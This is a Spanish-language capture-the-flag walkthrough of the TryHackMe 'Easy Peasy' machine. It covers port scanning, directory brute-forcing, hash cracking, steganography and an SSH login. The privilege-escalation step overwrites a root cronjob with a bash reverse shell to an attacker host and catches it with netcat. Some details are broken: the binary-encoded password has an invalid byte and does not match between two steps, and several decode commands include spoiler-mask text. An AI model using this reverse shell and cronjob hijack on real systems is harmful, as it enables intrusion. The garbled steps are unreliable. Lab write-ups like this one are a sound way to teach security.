TryHackMe Easy Enumeración ES

TryHackMe: Easy Peasy

Date: June 6, 2026 Author: p3p@p3p.dev
#nmap#gobuster#base64#md5#base62#gost#john-the-ripper#steghide#binary#rot13#cronjob#privesc#tryhackme
spoiler_protection: ACTIVE

Click individual flags to reveal/hide them.

Introducción

Práctica el uso de herramientas como Nmap y GoBuster para localizar un directorio oculto para obtener acceso inicial a una máquina vulnerable. Luego escala privilegios a través de un cronjob vulnerable.


Procedimiento

1. Escaneo Completo de Puertos

Comenzamos identificando todos los puertos abiertos en la máquina objetivo:

nmap -p- --open -T4 --min-rate 5000 IP

Resultado:

PORT      STATE SERVICE
80/tcp    open  http
6498/tcp  open  unknown
65524/tcp open  unknown

2. Detección Detallada de Servicios

Realizamos la obtención de banners y ejecución de scripts por defecto en los puertos descubiertos:

nmap -p 80,6498,65524 -sC -sV IP

Resultado:

PORT      STATE SERVICE VERSION
80/tcp    open  http    nginx 1.16.1
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.16.1
6498/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 30:4a:2b:22:ac:d9:56:09:f2:da:12:20:57:f4:6c:d4 (RSA)
|   256 bf:86:c9:c7:b7:ef:8c:8b:b9:94:ae:01:88:c0:85:4d (ECDSA)
|_  256 a1:72:ef:6c:81:29:13:ef:5a:6c:24:03:4c:fe:3d:0b (ED25519)
65524/tcp open  http    Apache httpd 2.4.43 ((Ubuntu))
|_http-server-header: Apache/2.4.43 (Ubuntu)
|_http-title: Apache2 Debian Default Page: It works
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

3. Fuerza Bruta de Directorios Web (Puerto 80)

Escaneamos el servidor web principal en el puerto 80 buscando directorios ocultos usando Gobuster:

gobuster dir -u http://IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50

Resultado:

hidden               (Status: 301) [Size: 169] [--> http://IP/hidden/]

4. Exploración de /hidden/

Al inspeccionar el código fuente de http://IP/hidden/ encontramos una plantilla básica de bienvenida. Procedemos a escanear subdirectorios dentro de la carpeta:

gobuster dir -u http://IP/hidden/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50

Resultado:

whatever             (Status: 301) [Size: 169] [--> http://IP/hidden/whatever/]

5. Exploración de /hidden/whatever/

Al inspeccionar el código fuente de http://IP/hidden/whatever/ descubrimos un fragmento HTML con un párrafo oculto en base64:

<p hidden>spoiler{ZmxhZ3tmMXJzN19mbDRnfQ==}</p>

6. Decodificación del Parámetro Oculto (Primera Flag)

Decodificamos la cadena en base64 para recuperar el primer flag de la máquina:

echo "spoiler{ZmxhZ3tmMXJzN19mbDRnfQ==}" | base64 -d

Resultado:

flag{f1rs7_fl4g}

7. Escaneo del Puerto 65524 para Archivos

Procedemos a realizar un análisis de directorios especificando extensiones en el servidor Apache alternativo del puerto 65524:

gobuster dir -u http://IP:65524/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50 -x php,txt,html,xml,bak

Resultado:

index.html           (Status: 200) [Size: 10818]
robots.txt           (Status: 200) [Size: 153]

8. Decodificación del Robots.txt y Hash MD5 (Segunda Flag)

Inspeccionamos el contenido de http://IP:65524/robots.txt:

User-Agent:*
Disallow:/
Robots Not Allowed
User-Agent:spoiler{a18672860d0510e5ab6699730763b250}
Allow:/
This Flag Can Enter But Only This Flag No More Exceptions

Analizamos el User-Agent hash para identificar el tipo de hash:

hashid spoiler{a18672860d0510e5ab6699730763b250}

Resultado de la identificación:

Analyzing 'spoiler{a18672860d0510e5ab6699730763b250}'
[+] MD5
[+] MD4
[+] Double MD5

Al identificar que se trata de un hash MD5, procedemos a desencriptarlo (por ejemplo, utilizando un servicio en línea como MD5 Center), obteniendo la segunda flag de la máquina:

spoiler{a18672860d0510e5ab6699730763b250} -> flag{1m_s3c0nd_fl4g}

9. Búsqueda de la Tercera Flag en el Código Fuente de Apache

Revisamos detalladamente el código fuente de la página principal del Apache alternativo (http://IP:65524/index.html) y encontramos la tercera flag comentada:

They are activated by symlinking available
configuration files from their respective
Fl4g 3 : flag{9fdafbd64c47471a8f54cd3fc64cd312}
*-available/ counterparts. These should be managed
by using our helpers

10. Localización del Directorio Oculto (Base62)

Más abajo en el código fuente de http://IP:65524/index.html, encontramos otra pista en un comentario:

<p hidden>its encoded with ba....:spoiler{ObsJmP173N2X6dOrAgEAL0Vu}</p>

Utilizamos Python para decodificar esta cadena codificada en Base62:

python3 -c "import base62; print(base62.decodebytes('spoiler{ObsJmP173N2X6dOrAgEAL0Vu}').decode('utf-8'))"

Resultado:

/n0th1ng3ls3m4tt3r

11. Desencriptación del Hash GOST

Navegamos a http://IP:65524/n0th1ng3ls3m4tt3r/ y localizamos el siguiente hash:

spoiler{940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81}

Tras analizarlo con hashid, se identifica compatible con el algoritmo GOST R 34.11-94. Empleamos John the Ripper junto con el diccionario proporcionado por la máquina para crackearlo:

john --format=gost --wordlist=easypeasy_wordlist.txt hash.txt

Contraseña descifrada:

spoiler{mypasswordforthatjob}

12. Extracción de Datos Esteganográficos

En el directorio /n0th1ng3ls3m4tt3r/ se encuentra la imagen binarycodepixabay.jpg. La descargamos y ejecutamos steghide utilizando la clave obtenida spoiler{mypasswordforthatjob} para extraer datos ocultos:

steghide extract -sf binarycodepixabay.jpg

El contenido extraído de secrettext.txt es:

username:boring
password:
spoiler{01101001 01100011 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110015 01110011 01110111 01101111 01110010 01100100 01110100 01100100 01101001 01101110 01100001 01110010 01111001}

13. Decodificación de Binario a Texto (Contraseña SSH)

Convertimos la cadena de bytes binarios a texto ascii legible:

for i in spoiler{01101001 01100011 01101111 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110015 01110011 01110111 01101111 01110010 01100100 01110100 01101111 01100010 01101001 01101110 01100001 01110010 01111001}; do printf "\x$(printf %x $((2#$i)))"; done; echo

Resultado:

spoiler{iconvertedmypasswordtobinary}

14. Acceso SSH Inicial (User Flag)

Iniciamos sesión mediante SSH utilizando el usuario boring y la contraseña spoiler{iconvertedmypasswordtobinary} a través del puerto SSH personalizado 6498:

ssh boring@IP -p 6498

Al listar los archivos del directorio encontramos user.txt con la flag codificada en ROT13:

spoiler{synt{a0jvgf33zfa0ez4y}}

La decodificamos mediante el comando tr:

echo "spoiler{synt{a0jvgf33zfa0ez4y}}" | tr 'a-zA-Z' 'n-za-mN-ZA-M'

Flag de Usuario:

flag{n0wits33msn0rm4l}

15. Escalación de Privilegios (Root Flag)

Analizamos las tareas programadas a nivel de sistema:

cat /etc/crontab

Identificamos una tarea programada ejecutada por root cada minuto:

* *    * * *   root    cd /var/www/ && sudo bash .mysecretcronjob.sh

Comprobamos los permisos de escritura sobre .mysecretcronjob.sh:

ls -la /var/www/.mysecretcronjob.sh

Resultado:

-rwxr-xr-x 1 boring boring 33 Jun 14  2020 /var/www/.mysecretcronjob.sh

Al pertenecer el archivo y ser editable por boring, podemos inyectar un payload para entablar una shell reversa:

echo "bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'" > /var/www/.mysecretcronjob.sh

En nuestra máquina de ataque local, iniciamos el listener netcat:

nc -lvnp 4444

Una vez transcurrido el minuto, el cronjob se ejecuta con permisos de superusuario dándonos acceso remoto. Validamos nuestra identidad de root y leemos la flag final:

whoami
# root

cat /root/.root.txt

Flag de Root:

flag{63a9f0ea7bb98050796b649e85481845}